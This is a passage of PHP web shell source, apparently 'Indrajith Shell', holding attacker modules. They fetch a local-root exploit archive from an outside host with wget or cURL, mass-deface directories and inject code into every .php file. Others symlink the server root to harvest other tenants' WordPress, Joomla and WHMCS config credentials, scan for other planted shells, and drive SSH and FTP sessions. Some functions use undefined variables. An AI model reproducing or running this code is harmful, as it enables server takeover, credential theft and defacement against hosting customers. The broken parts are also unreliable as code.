  1441. <tr><td><br /><input type='submit' value=' >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />";
  1442. }
  1444. function remote_file_check_bg()
  1445. {
  1446. set_time_limit(0);
  1447. $rtr=array();
  1448. echo "<div id=result><center><h2>Scanner Report</h2><hr /><br /><br /><table class=tbl>";
  1449. $webz=$_POST['rem_web'];
  1450. $uri_in=$_POST['tryzzz'];
  1451. $r_xuri = trim($uri_in);
  1452. $r_xuri=explode("\n", $r_xuri);
  1453. foreach($r_xuri as $rty)
  1454. {
  1455. $urlzzx=$webz.$rty;
  1456. if(function_exists('curl_init'))
  1457. {
  1458. echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
  1459. $ch = curl_init($urlzzx);
  1460. curl_setopt($ch, CURLOPT_NOBODY, true);
  1461. curl_exec($ch);
  1462. $status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
  1463. curl_close($ch);
  1464. if($status_code==200)
  1465. {
  1466. echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
  1467. }
  1468. else
  1469. {
  1470. echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
  1471. }
  1472. }
  1473. else
  1474. {
  1475. echo "<font color=red>cURL Not Found </font>";
  1476. break;
  1477. }
  1478. }
  1479. echo "</table><br /><br /><hr /><br /><br /></div>";
  1480. }
  1482. function remote_download_ui()
  1483. {
  1484. echo "<div id=result><center><h2>Remote File Download</h2><hr /><br /><br /><table class=tbl><form method='GET'><input type=hidden name='path' value=".getcwd()."><tr><td><select style='color:green; background-color:black; border:1px solid #666;' name='type_r_down'><option>WGET</option><option>cURL</option></select></td></tr>
  1485. <tr><td>URL <input size=50 name='rurlfile' value='ajithkp560.hostei.com/localroot/2.6.x/h00lyshit.zip'></td></tr>
  1486. <tr><td><input type='submit' class='input_big' value=' >> ' /></td></tr></form></table><br /><br /><hr /><br /><br /></div>";
  1487. }
  1489. function remote_download_bg()
  1490. {
  1491. chdir($_GET['path']);
  1492. global $os;
  1493. $opt=$_GET['type_r_down'];
  1494. $rt_ffile=$_GET['rurlfile'];
  1495. $name=basename($rt_ffile);
  1496. echo "<div id=result>";
  1497. switch($opt)
  1498. {
  1499. case "WGET":
  1500. if($os!='win')
  1501. {
  1502. cmd("wget $rt_ffile");
  1503. alert("Downloaded Successfully...");
  1504. }
  1505. else
  1506. {
  1507. alert("Its Windows OS... WGET is not available");
  1508. }
  1509. break;
  1510. case "cURL":
  1511. if(function_exists('curl_init'))
  1512. {
  1513. $ch = curl_init($rt_ffile);
  1514. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1515. $data = curl_exec($ch);
  1516. curl_close($ch);
  1517. file_put_contents($name, $data);
  1518. alert("Download succeeded");
  1519. }
  1520. else
  1521. {
  1522. alert("cURL Not Available");
  1523. }
  1524. break;
  1525. }
  1526. echo "</div>";
  1527. }
  1529. function hex_encode_ui()
  1530. {
  1531. if(isset($_REQUEST['hexinp']) && isset($_REQUEST['tyxxx']))
  1532. {
  1533. $tyx=$_POST['tyxxx'];
  1534. $rezultzz=$_POST['hexinp'];
  1535. switch($tyx)
  1536. {
  1537. case "Encode":
  1538. $rzul=PREG_REPLACE("'(.)'e","dechex(ord('\\1'))",$rezultzz);
  1539. echo "<div id=result><center><h2>HEXADECIMAL ENCODER</h2><hr /><br /><br />
  1540. <textarea class='textarea_edit' spellcheck=false cols=60 rows=10>$rzul</textarea>
  1541. <br /><br /><form method='POST'><select style='color:green; background-color:black; border:1px solid #666;' name='tyxxx'><option>Encode</option><option>Decode</option></select>
  1542. Input : <input name='hexinp' size=50 value='input here'><input type=submit value=' >> ' /><br /><br /><hr /><br /><br /></div>";
  1543. break;
  1544. case "Decode":
  1545. $rzul=PREG_REPLACE("'([\S,\d]{2})'e","chr(hexdec('\\1'))",$rezultzz);
  1546. echo "<div id=result><center><h2>HEXADECIMAL ENCODER</h2><hr /><br /><br />
  1547. <textarea class='textarea_edit' spellcheck=false cols=60 rows=10>$rzul</textarea>
  1548. <br /><br /><form method='POST'><select style='color:green; background-color:black; border:1px solid #666;' name='tyxxx'><option>Encode</option><option>Decode</option></select>
  1549. Input : <input name='hexinp' size=50 value='input here'><input type=submit value=' >> ' /><br /><br /><hr /><br /><br /></div>";
  1550. break;
  1551. }
  1552. }
  1553. else
  1554. {
  1555. echo "<div id=result><center><h2>HEXADECIMAL ENCODER</h2><hr /><br /><br />
  1556. <textarea class='textarea_edit' spellcheck=false cols=60 rows=10>Here visible Your Result</textarea>
  1557. <br /><br /><form method='POST'><select style='color:green; background-color:black; border:1px solid #666;' name='tyxxx'><option>Encode</option><option>Decode</option></select>
  1558. Input : <input name='hexinp' size=50 value='input here'><input type=submit value=' >> ' /><br /><br /><hr /><br /><br /></div>";
  1559. }
  1560. }
  1562. function killme()
  1563. {
  1564. global $self;
  1565. echo "<div id=result><center><h2>Good Bye Dear</h2><hr />Dear, Good by... :( Hope You Like me...<br /><br /><br/><hr /><br /><br />";
  1566. $me=basename($self);
  1567. unlink($me);
  1568. }
  1570. function ftp_anonymous_ui()
  1571. {
  1572. echo "<div id='result'><center><h2>Anonymous FTP Scanner</h2><hr /></center><table class=tbl><form method='GET'><tr><td><textarea name='ftp_anonz' cols=40 rows=25 class='textarea_edit'>127.0.0.1
  1573. ftp.google.com
  1574. ftp.r00t.com
  1575. ftp.ajithkp.org
  1576. ...
  1577. ...</textarea></td></tr><tr><td><input class='input_big' type='submit' value=' >> ' /></td></tr></form></table><br /><br /><hr /><br /><br />";
  1578. }
  1580. function ftp_anonymous_bg()
  1581. {
  1582. echo "<div id=result><center><h2>Result</h2></center><hr /><br /><br /><table class=table>";
  1583. $ftp_list=$_GET['ftp_anonz'];
  1584. $xftpl = trim($ftp_list);
  1585. $xftpl = explode("\n", $xftpl);
  1586. foreach($xftpl as $xftp)
  1587. {
  1588. $xftp = str_replace("ftp://", "", $xftp);
  1589. $conn_ftp = ftp_connect($xftp);
  1590. $success = ftp_login($conn_ftp, "anonymous", "");
  1591. if($success)
  1592. {
  1593. echo "<tr><td><font color=7171C6>$xftp</font></td><td><font color=green>Successfull</font></td></tr>";
  1594. }
  1595. else
  1596. {
  1597. echo "<tr><td><font color=7171C6>$xftp</font></td><td><font color=red>Failed</font></td></tr>";
  1598. }
  1600. }
  1601. echo "</table><br /><br /><hr /><br /><br />";
  1602. }
  1604. function mass_deface_ui()
  1605. {
  1606. echo "<div id=result><center><h2>Mass Deface</h2><hr /><br /><br /><table class=tbl><form method='GET'><input name='mm_path' type='hidden' value=".$_GET['path']."><tr><td>Name : <input size=40 name='mass_name'></td></tr>
  1607. <tr><td><textarea name='mass_cont' cols=80 rows=25 class='textarea_edit'></textarea></td></tr><tr><td><input class='input_big' type=submit value=' >> ' /></td></tr></form></table><br /><br /><hr /><br /><br /></div>";
  1608. }
  1610. function mass_deface_bg()
  1611. {
  1612. global $sep;
  1613. $d_path=$_GET['mm_path'];
  1614. chdir($d_path);
  1615. $d_file=$_GET['mass_name'];
  1616. $d_conten=$_GET['mass_cont'];
  1617. if(is_dir($d_path))
  1618. {
  1619. chdir($d_path);
  1620. $d_dirs=array();
  1621. if($handle=opendir($d_path))
  1622. {
  1623. while(($item=readdir($handle))!==FALSE)
  1624. {
  1625. if($item=="."){continue;}
  1626. if($item==".."){continue;}
  1627. if(is_dir($item))
  1628. {
  1629. array_push($d_dirs, $item);
  1630. }
  1631. }
  1632. }
  1633. }
  1634. echo "<div id=result><center><h2>Result</h2></center><hr /><br /><br /><table class=tbl>";
  1635. foreach($d_dirs as $d_dir)
  1636. {
  1637. $xd_path=getcwd()."$sep$d_dir$sep$d_file";
  1638. if(is_writable($d_dir))
  1639. {
  1640. $handle=fopen($xd_path, "wb");
  1641. if($handle)
  1642. {
  1643. fwrite($handle, $d_conten);
  1644. }
  1645. }
  1646. echo "<tr><td><font color=green>$xd_path</font></td></tr>";
  1647. }
  1648. echo "</table><br /><br /><hr /><br /><br /></div>";
  1649. }
  1652. function symlinkg($usernamexx,$domainxx)
  1653. {
  1654. symlink('/home/'.$usernamexx.'/public_html/vb/includes/config.php','Indrajith/'.$domainxx.' =>vBulletin1.txt');
  1655. symlink('/home/'.$usernamexx.'/public_html/includes/config.php','Indrajith/'.$domainxx.' =>vBulletin2.txt');
  1656. symlink('/home/'.$usernamexx.'/public_html/forum/includes/config.php','Indrajith/'.$domainxx.' =>vBulletin3.txt');
  1657. symlink('/home/'.$usernamexx.'/public_html/cc/includes/config.php','Indrajith/'.$domainxx.' =>vBulletin4.txt');
  1658. symlink('/home/'.$usernamexx.'/public_html/inc/config.php','Indrajith/'.$domainxx.' =>mybb.txt');
  1659. symlink('/home/'.$usernamexx.'/public_html/config.php','Indrajith/'.$domainxx.' =>Phpbb1.txt');
  1660. symlink('/home/'.$usernamexx.'/public_html/forum/includes/config.php','Indrajith/'.$domainxx.' =>Phpbb2.txt');
  1661. symlink('/home/'.$usernamexx.'/public_html/wp-config.php','Indrajith/'.$domainxx.' =>Wordpress1.txt');
  1662. symlink('/home/'.$usernamexx.'/public_html/blog/wp-config.php','Indrajith/'.$domainxx.' =>Wordpress2.txt');
  1663. symlink('/home/'.$usernamexx.'/public_html/configuration.php','Indrajith/'.$domainxx.' =>Joomla1.txt');
  1664. symlink('/home/'.$usernamexx.'/public_html/blog/configuration.php','Indrajith/'.$domainxx.' =>Joomla2.txt');
  1665. symlink('/home/'.$usernamexx.'/public_html/joomla/configuration.php','Indrajith/'.$domainxx.' =>Joomla3.txt');
  1666. symlink('/home/'.$usernamexx.'/public_html/whm/configuration.php','Indrajith/'.$domainxx.' =>Whm1.txt');
  1667. symlink('/home/'.$usernamexx.'/public_html/whmc/configuration.php','Indrajith/'.$domainxx.' =>Whm2.txt');
  1668. symlink('/home/'.$usernamexx.'/public_html/support/configuration.php','Indrajith/'.$domainxx.' =>Whm3.txt');
  1669. symlink('/home/'.$usernamexx.'/public_html/client/configuration.php','Indrajith/'.$domainxx.' =>Whm4.txt');
  1670. symlink('/home/'.$usernamexx.'/public_html/billings/configuration.php','Indrajith/'.$domainxx.' =>Whm5.txt');
  1671. symlink('/home/'.$usernamexx.'/public_html/billing/configuration.php','Indrajith/'.$domainxx.' =>Whm6.txt');
  1672. symlink('/home/'.$usernamexx.'/public_html/clients/configuration.php','Indrajith/'.$domainxx.' =>Whm7.txt');
  1673. symlink('/home/'.$usernamexx.'/public_html/whmcs/configuration.php','Indrajith/'.$domainxx.' =>Whm8.txt');
  1674. symlink('/home/'.$usernamexx.'/public_html/order/configuration.php','Indrajith/'.$domainxx.' =>Whm9.txt');
  1675. symlink('/home/'.$usernamexx.'/public_html/admin/conf.php','Indrajith/'.$domainxx.' =>5.txt');
  1676. symlink('/home/'.$usernamexx.'/public_html/admin/config.php','Indrajith/'.$domainxx.' =>4.txt');
  1677. symlink('/home/'.$usernamexx.'/public_html/conf_global.php','Indrajith/'.$domainxx.' =>invisio.txt');
  1678. symlink('/home/'.$usernamexx.'/public_html/include/db.php','Indrajith/'.$domainxx.' =>7.txt');
  1679. symlink('/home/'.$usernamexx.'/public_html/connect.php','Indrajith/'.$domainxx.' =>8.txt');
  1680. symlink('/home/'.$usernamexx.'/public_html/mk_conf.php','Indrajith/'.$domainxx.' =>mk-portale1.txt');
  1681. symlink('/home/'.$usernamexx.'/public_html/include/config.php','Indrajith/'.$domainxx.' =>12.txt');
  1682. symlink('/home/'.$usernamexx.'/public_html/settings.php','Indrajith/'.$domainxx.' =>Smf.txt');
  1683. symlink('/home/'.$usernamexx.'/public_html/includes/functions.php','Indrajith/'.$domainxx.' =>phpbb3.txt');
  1684. symlink('/home/'.$usernamexx.'/public_html/include/db.php','Indrajith/'.$domainxx.' =>infinity.txt');
  1685. }
  1687. function config_grabber_bg()
  1688. {
  1689. global $sym_htaccess,$sym_php_ini;
  1690. mkdir('INDRAJITH', 0777);
  1691. symlink("/", "INDRAJITH/root");
  1692. $htaccess=fopen('INDRAJITH/.htaccess', 'wb');
  1693. fwrite($htaccess,$sym_htaccess);
  1694. $php_ini_x=fopen('INDRAJITH/php.ini', 'wb');
  1695. fwrite($php_ini_x, $sym_php_ini);
  1696. $usr=explode("\n",$_POST['user_z_list']);
  1697. foreach($usr as $uzer)
  1698. {
  1699. $u_er=trim($uzer);
  1700. symlinggg($u_er);
  1701. }
  1702. echo "<script>window.open('INDRAJITH/', '_blank');</script>";
  1703. alert('Config Grab compted. Check configs in direcory INDRAJITH');
  1704. }
  1706. if(isset($_POST['user_z_list']))
  1707. {
  1708. config_grabber_bg();
  1709. }
  1712. function config_grabber_ui()
  1713. {
  1714. if(file('/etc/passwd'))
  1715. {
  1716. ?><script>alert("/etc/named.conf Not Found, Its alternative method.");</script><div id=result><center><h2>Config Grabber</h2><hr /><br /><br /><table class=tbl><form method=POST><tr><td><textarea spellcheck=false class='textarea_edit' rows=15 cols=60 name=user_z_list><?php
  1717. $users = file('/etc/passwd');
  1718. foreach($users as $user)
  1719. {
  1720. $user = explode(':', $user);
  1721. echo $user[0]."\n";
  1722. }
  1723. ?></textarea></td></tr><tr><td><input type='submit' class='input_big' value=' >> '/></td></tr></form></table><br /><br /><hr /><br /><br /><hr /></div><?php
  1724. }
  1725. else
  1726. {
  1727. alert(" File Not Found : /etc/passwd ");
  1728. }
  1729. }
  1731. function symlinggg($user)
  1732. {
  1733. symlink('/home/'.$usernamexx.'/public_html/blog/configuration.php', "INDRAJITH/".$user." =>blog/configuration.php");
  1734. symlink('/home/'.$user.'/public_html/forum/includes/config.php', "INDRAJITH/".$user." =>forum/includes/config.php");
  1735. symlink("/home/".$user."/public_html/wp-config.php", "INDRAJITH/".$user." =>wp-config.php");
  1736. symlink("/home/".$user."/public_html/wordpress/wp-config.php", "INDRAJITH/".$user." =>wordpress/wp-config.php");
  1737. symlink("/home/".$user."/public_html/configuration.php", "INDRAJITH/".$user." =>configuration.php");
  1738. symlink("/home/".$user."/public_html/blog/wp-config.php", "INDRAJITH/".$user." =>blog/wp-config.php");
  1739. symlink("/home/".$user."/public_html/joomla/configuration.php", "INDRAJITH/".$user." =>joomla/configuration.php");
  1740. symlink("/home/".$user."/public_html/vb/includes/config.php", "INDRAJITH/".$user." =>vb/includes/config.php");
  1741. symlink("/home/".$user."/public_html/includes/config.php", "INDRAJITH/".$user." =>includes/config.php");
  1742. symlink("/home/".$user."/public_html/conf_global.php", "INDRAJITH/".$user." =>conf_global.php");
  1743. symlink("/home/".$user."/public_html/inc/config.php", "INDRAJITH/".$user." =>inc/config.php");
  1744. symlink("/home/".$user."/public_html/config.php", "INDRAJITH/".$user." =>config.php");
  1745. symlink("/home/".$user."/public_html/Settings.php", "INDRAJITH/".$user." =>/Settings.php");
  1746. symlink("/home/".$user."/public_html/sites/default/settings.php", "INDRAJITH/".$user." =>sites/default/settings.php");
  1747. symlink("/home/".$user."/public_html/whm/configuration.php", "INDRAJITH/".$user." =>whm/configuration.php");
  1748. symlink("/home/".$user."/public_html/whmcs/configuration.php", "INDRAJITH/".$user." =>whmcs/configuration.php");
  1749. symlink("/home/".$user."/public_html/support/configuration.php", "INDRAJITH/".$user." =>support/configuration.php");
  1750. symlink("/home/".$user."/public_html/whmc/WHM/configuration.php", "INDRAJITH/".$user." =>whmc/WHM/configuration.php");
  1751. symlink("/home/".$user."/public_html/whm/WHMCS/configuration.php", "INDRAJITH/".$user." =>whm/WHMCS/configuration.php");
  1752. symlink("/home/".$user."/public_html/whm/whmcs/configuration.php", "INDRAJITH/".$user." =>whm/whmcs/configuration.php");
  1753. symlink("/home/".$user."/public_html/support/configuration.php", "INDRAJITH/".$user." =>support/configuration.php");
  1754. symlink("/home/".$user."/public_html/clients/configuration.php", "INDRAJITH/".$user." =>clients/configuration.php");
  1755. symlink("/home/".$user."/public_html/client/configuration.php", "INDRAJITH/".$user." =>client/configuration.php");
  1756. symlink("/home/".$user."/public_html/clientes/configuration.php", "INDRAJITH/".$user." =>clientes/configuration.php");
  1757. symlink("/home/".$user."/public_html/cliente/configuration.php", "INDRAJITH/".$user." =>cliente/configuration.php");
  1758. symlink("/home/".$user."/public_html/clientsupport/configuration.php", "INDRAJITH/".$user." =>clientsupport/configuration.php");
  1759. symlink("/home/".$user."/public_html/billing/configuration.php", "INDRAJITH/".$user." =>billing/configuration.php");
  1760. symlink("/home/".$user."/public_html/admin/config.php", "INDRAJITH/".$user." =>admin/config.php");
  1761. }
  1763. function sym_xxx()
  1764. {
  1765. global $sym_htaccess,$sym_php_ini;
  1766. mkdir('Indrajith', 0777);
  1767. symlink("/", "Indrajith/root");
  1768. $htaccess=@fopen('Indrajith/.htaccess', 'w');
  1769. fwrite($htaccess,$sym_htaccess);
  1770. $php_ini_x=fopen('Indrajith/php.ini', 'w');
  1771. fwrite($php_ini_x, $sym_php_ini);
  1772. $akps = implode(file("/etc/named.conf"));
  1773. if(!$akps)
  1774. {
  1775. config_grabber_ui();
  1776. }
  1777. else
  1778. {
  1779. $usrd = array();
  1780. foreach($akps as $akp)
  1781. {
  1782. if(eregi("zone", $akp))
  1783. {
  1784. preg_match_all('#zone "(.*)" #', $akp, $akpzz);
  1785. flush();
  1786. if(strlen(trim($akpzz[1][0]))>2)
  1787. {
  1788. $user=posix_getpwuid(@fileowner("/etc/valiases/".$akpzz[1][0]));
  1789. symlinkg($akpzz[1][0],$user['name']);
  1790. flush();
  1791. }
  1792. }
  1793. }
  1794. }
  1795. }
  1797. function sym_link()
  1798. {
  1799. global $sym_htaccess,$sym_php_ini;
  1800. cmd('rm -rf AKP');
  1801. mkdir('AKP', 0755);
  1802. $usrd = array();
  1803. $akps = implode(file("/etc/named.conf"));
  1804. $htaccess=fopen('AKP/.htaccess', 'w');
  1805. fwrite($htaccess,$sym_htaccess);
  1806. $php_ini_x=fopen('AKP/php.ini', 'w');
  1807. fwrite($php_ini_x, $sym_php_ini);
  1808. symlink("/", "AKP/root");
  1809. if(!$file)
  1810. {
  1811. echo "<script>alert('Bind File /etc/passwd Not Found. Its alternative Method')</script>";
  1812. echo "<div id=result><center><h2>SymLink</h2></center><hr /><br /><br /><table class='table'><tr><th>Users</th><th>Exploit</th></tr>";
  1813. $users = file('/etc/passwd');
  1814. foreach($users as $user)
  1815. {
  1816. $user = explode(':', $user);
  1817. echo "<tr><td>".$user[0]."</td><td><a href='AKP/root/home/".$user[0]."/public_html/' target=_blank>SymLink</tr>";
  1818. }
  1819. echo "</table><br /><br /><hr /><br /><br /></div>";
  1821. }
  1822. else
  1823. {
  1824. echo "<table class=table><tr><td>Domains</td><td>Users</td><td>Exploit</font></td></tr>";
  1825. foreach($akps as $akp)
  1826. {
  1827. if(eregi("zone", $akp))
  1828. {
  1829. preg_match_all('#zone "(.*)" #', $akp, $akpzz);
  1830. flush();
  1831. if(strlen(trim($akpzz[1][0]))>2)
  1832. {
  1833. $user=posix_getpwuid(@fileowner("/etc/valiases/".$akpzz[1][0]));
  1834. echo "<tr><td><a href=http://www.".$akpzz[1][0]." target=_blank>".$akpzz[1][0]."</a><td>".$user['name']."</td><td><a href='AKP/root/home/".$user['name']."/public_html/' target=_blank>SymLink</a></td></tr></table>";
  1835. flush();
  1836. }
  1837. }
  1838. }
  1839. }
  1840. }
  1842. function shell_finder_ui()
  1843. {
  1844. echo "<div id=result><center><h2>SH3LL SCANNER</h2><hr /><br /><br /><br /><form method='GET'>URL : <input size=50 name='sh311_scanx' value='http://www.ajithkp560.hostei.com/PHP/'><input type='submit' value=' >> ' /></form><br /><br /><hr /><br /><br />";
  1845. }
  1847. function shell_finder_bg()
  1848. {
  1849. $sh_url=$_GET['sh311_scanx'];
  1850. echo "<div id=result><center><h2>SHELL SCAN</h2><hr /><br /><br /><table class='table'>";
  1851. $ShellZ=array("indrajith.php", "c99.php", "c100.php","r57.php", "b374k.php", "c22.php", "sym.php", "symlink_sa.php", "r00t.php", "webr00t.php", "sql.php","cpanel.php", "wso.php", "404.php", "aarya.php", "greenshell.php", "ddos.php", "madspot.php", "1337.php", "31337.php", "WSO.php", "dz.php", "cpn.php", "sh3ll.php", "mysql.php", "killer.php", "cgishell.pl", "dz0.php", "whcms.php", "vb.php", "gaza.php", "d0mains.php", "changeall.php", "h4x0r.php", "L3b.php", "uploads.php", "shell.asp", "cmd.asp", "sh3ll.asp", "b374k-2.2.php", "m1n1.php", "b374km1n1.php");
  1852. foreach($ShellZ as $shell)
  1853. {
  1854. $urlzzx=$sh_url.$shell;
  1855. if(function_exists('curl_init'))
  1856. {
  1857. echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
  1858. $ch = curl_init($urlzzx);
  1859. curl_setopt($ch, CURLOPT_NOBODY, true);
  1860. curl_exec($ch);
  1861. $status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
  1862. curl_close($ch);
  1863. if($status_code==200)
  1864. {
  1865. echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
  1866. }
  1867. else
  1868. {
  1869. echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
  1870. }
  1871. }
  1872. else
  1873. {
  1874. echo "<font color=red>cURL Not Found </font>";
  1875. break;
  1876. }
  1877. }
  1878. echo "</table><br /><br /><hr /><br /><br /></div>";
  1879. }
  1881. function code_in_ui()
  1882. {
  1883. global $sep;
  1884. $mode=$_POST['modexxx'];
  1885. $ftype=$_POST['ffttype'];
  1886. $c_cont=$_POST['code_cont'];
  1887. $ppp=$_POST['path'];
  1888. if(isset($_POST['modexxx']) && isset($_POST['path']) && isset($_POST['ffttype']) && isset($_POST['code_cont']) && $mode!="" && $ftype!="" && $c_cont!="" && $ppp!="")
  1889. {
  1890. echo "<div id=result><center><h2>Successfully c0d3 inj3cted</h2></center><table class=tbl>";
  1891. switch($mode)
  1892. {
  1893. case "Apender":
  1894. $mmode="a";
  1895. break;
  1896. case "Rewrite":
  1897. $mmode="w";
  1898. break;
  1899. }
  1900. if($handle = opendir($ppp))
  1901. {
  1902. while(($c_file = readdir($handle)) !== False)
  1903. {
  1904. if((preg_match("/$ftype".'$'.'/', $c_file , $matches) != 0) && (preg_match('/'.$c_file.'$/', $self , $matches) != 1))
  1905. {
  1906. echo "<tr><td><font color=red>$ppp$sep$c_file</font></td></tr>";
  1907. $fd = fopen($ppp.$sep.$c_file,$mmode);
  1908. if($fd)
  1909. {
  1910. fwrite($fd,$c_cont);
  1911. }
  1912. else
  1913. {
  1914. alert("Error. Access Denied");
  1915. }
  1916. }
  1917. }
  1918. }
  1919. echo "</table><br /><br /><hr /><br /><br /></div>";
  1920. }
  1921. else
  1922. {
  1923. ?>
  1924. <div id=result><center><h2>c0de inj3ct</h2></center><hr /><br /><br /><table class=table><form method='POST'><input type='hidden' name='path' value="<?php echo getcwd(); ?>"><tr><td>Mode : </td>
  1925. <td><select style='color:green; background-color:black; border:1px solid #666;' name='modexxx'><option>Apender</option><option>Rewrite</option></select></td></tr><tr><td>File Type</td><td><input name='ffttype' value='.php' size=50></td></tr>
  1926. <tr><td>Content : </td><td><textarea name='code_cont' rows=20 cols=60 class='textarea_edit'></textarea></td></tr><tr><td></td><td><input type=submit value=' >> ' class='input_big' /></td></tr></form></table><br /><br /><hr /><br /><br />
  1927. <?php
  1928. }
  1929. }
  1931. if(isset($_GET['down']))
  1932. {
  1933. ob_clean();
  1934. $filcont=file_get_contents($_GET['down']);
  1935. header('Content-Description: File Transfer');
  1936. header("Content-type: application/octet-stream");
  1937. header("Content-length: ".strlen($filcont));
  1938. header("Content-disposition: attachment; filename=".basename($_GET['down']).";");
  1939. flush();
  1940. echo $filcont;
  1941. exit;
  1942. }
  1944. if(isset($_GET['gzip']))
  1945. {
  1946. ob_clean();
  1947. $filcont=gzencode(file_get_contents($_GET['down']), 9);
  1948. header('Content-Description: File Transfer');
  1949. header("Content-Type:application/x-gzip;");
  1950. header("Content-length:".strlen($filcont).";");
  1951. header("Content-disposition: attachment; filename=".basename($_GET['gzip']).".gz;");
  1952. flush();
  1953. echo $filcont;
  1954. exit;
  1955. }
  1957. function ssh_man_ui()
  1958. {
  1959. ?>
  1960. <div id=result><center><h2>SSH Manager</h2><hr /><br /><br /><table class=table><form method='GET'><tr><td>HOST : </td><td><input size=50 name='ssh_host'></td></tr><tr><td>Username : </td><td><input size=50 name='ssh_user'></td></tr><tr><td>Password : </td><td><input size=50 name='ssh_pass'></td></tr><tr><td></td><td><input type='submit' value=' >> ' /></form></table></center><br /><br /><hr /><br /><br /></div>
  1961. <?php
  1962. }
  1964. function ssh_man_bg()
  1965. {
  1966. $ssh_h=$_GET['ssh_host'];
  1967. $ssh_u=$_GET['ssh_user'];
  1968. $ssh_p=$_GET['ssh_pass'];
  1969. if(!function_exists('ssh2_connect'))
  1970. {
  1971. alert("Sorry, Function ssh2_connect is not found");
  1972. }
  1973. $conn=ssh2_connect($ssh_h, 22);
  1974. if(!$conn)
  1975. {
  1976. alert("SSH Host Not Found");
  1977. }
  1978. $log=ssh2_auth_password($conn, $ssh_u, $ssh_p);
  1979. if(!$log)
  1980. {
  1981. alert("SSH Authorication failed");
  1982. }
  1983. $shell=ssh2_shell($conn, "bash");
  1984. if($_GET['ssh_cmd']!="" && $_GET['ssh_cmd'])
  1985. {
  1986. $ssh_cmd=$_GET['ssh_cmd'];
  1987. fwrite($shell, $ssh_cmd);
  1988. sleep(1);
  1989. while($line=fgets($shell))
  1990. {
  1991. flush();
  1992. echo $line."\n";
  1993. }
  1994. ?>
  1995. <div id=result><center><h2>SSH Shell by Indrajith Shell</h2><hr /><br /><br /><textarea class='textarea_edit' rows=20 cols=60></textarea>
  1996. <form method='GET'>CMD : <input name='ssh_cmd' size=60><input type='submit' value=' >> ' /></form></center><br /><br /><hr /><br /><br /></div>
  1997. <?php
  1998. }
  1999. else
  2000. {
  2001. ?>
  2002. <div id=result><center><h2>SSH Shell by Indrajith Shell</h2><hr /><br /><br /><textarea class='textarea_edit' rows=20 cols=60></textarea>
  2003. <form method='GET'>CMD : <input name='ssh_cmd' size=60><input type='submit' value=' >> ' /></form></center><br /><br /><hr /><br /><br /></div>
  2004. <?php
  2005. }
  2006. }
  2008. function ftp_man_ui()
  2009. {
  2010. ?>
  2011. <div id=result><center><h2>FTP Manager</h2><hr /><br /><br /><table class=table><form method='GET'><tr><td>HOST : </td><td><input size=50 name='ftp_host'></td></tr>
  2012. <tr><td>Username : </td><td><input size=50 name='ftp_user'></td></tr>
  2013. <tr><td>Password : </td><td><input size=50 name='ftp_pass'></td></tr>
  2014. <tr><td>Path [<font color=red>Optional</font>] : </td><td><input name='fpath' size=50></td></tr>
  2015. <tr><td>Upload File From Server [<font color=red>Optional</font>] : </td><td><input name='upload_file' size=50></td></tr>
  2016. <tr><td>Download File To Server [<font color=red>Optional</font>] : </td><td><input name='download_file' size=50></td></tr>
  2017. <tr><td></td><td><input type='submit' value=' >> ' /></form></table></center><br /><br /><hr /><br /><br /></div>
  2018. <?php
  2019. }
  2021. function ftp_man_bg()
  2022. {
  2023. echo "<div id=result><center><h2>FTP FILEMANAGER</h2></center><hr />";
  2024. $fhost=$_GET['ftp_host'];
  2025. $fuser=$_GET['ftp_user'];
  2026. $fpass=$_GET['ftp_pass'];
  2027. $fpath=$_GET['fpath'];
  2028. $upl=$_GET['upload_file'];
  2029. $down=$_GET['download_file'];
  2030. if($fpath=="")
  2031. {
  2032. $fpath=ftp_pwd($conn);
  2033. }
  2034. $conn=ftp_connect($fhost);
  2035. if(!$conn)
  2036. {
  2037. alert("FTP Host Not Found!!!");
  2038. }
  2039. if($fuser=="")
  2040. {
  2041. $fuser="anonymous";
  2042. }
  2043. $log=ftp_login($conn, $fuser, $fpass);
  2044. if(!$log)
  2045. {
  2046. alert("FTP Authorication Failed");
  2047. }
  2048. if($upl!="")
  2049. {
  2050. $fp = fopen($upl, 'r');
  2051. if (ftp_fput($conn, $upl, $fp, FTP_ASCII))
  2052. {
  2053. echo "<center><font color=green>Successfully uploaded <font color=red> $upl </font> </font></center>";
  2054. }
  2055. else
  2056. {
  2057. echo "<center><font color=red>There was a problem while uploading <font color=green> $upl </font> </font></center>";
  2058. }
  2059. }
  2060. if($down!="")
  2061. {
  2062. $handle = fopen($down, 'w');
  2063. if (ftp_fget($conn, $handle, $down, FTP_ASCII, 0))
  2064. {
  2065. echo "<center><font color=green>successfully written to <font color=red> $down </font> </font></center>";
  2066. }
  2067. else
  2068. {
  2069. echo "<center><font color=red>There was a problem while downloading <font color=green> $down </font> to <font color=green> $down </font> </font></center>";
  2070. }
  2071. }
  2072. echo "<table class='table'><tr><th>Files</th>";
  2073. ftp_chdir($fpath);
  2074. $list=ftp_rawlist($conn, $fpath);
  2075. foreach($list as $fff)
  2076. {
  2077. echo "<tr><td><pre>$fff</pre></td></tr>";
  2078. }
  2079. echo "</table></div>";
  2080. }
  2082. //////////////////////////////// Frond End Calls ///////////////////////////////
  2084. if(isset($_POST['e_file']) && isset($_POST['e_content_n']))
  2085. {
  2086. edit_file_bg();
  2087. }
  2089. else if(isset($_REQUEST['sh311_scanner']))
  2090. {
  2091. shell_finder_ui();
  2092. }
  2094. else if(isset($_REQUEST['ftp_host']) && isset($_REQUEST['ftp_user']) && isset($_REQUEST['ftp_pass']))
  2095. {
  2096. ftp_man_bg();
  2097. }
  2099. else if(isset($_REQUEST['ftpman']))
  2100. {
  2101. ftp_man_ui();
  2102. }
  2104. else if(isset($_GET['ssh_host']) && isset($_GET['ssh_user']) && isset($_GET['ssh_pass']))
  2105. {
  2106. ssh_man_bg();
  2107. }
  2109. else if(isset($_REQUEST['sshman']))
  2110. {
  2111. ssh_man_ui();
  2112. }
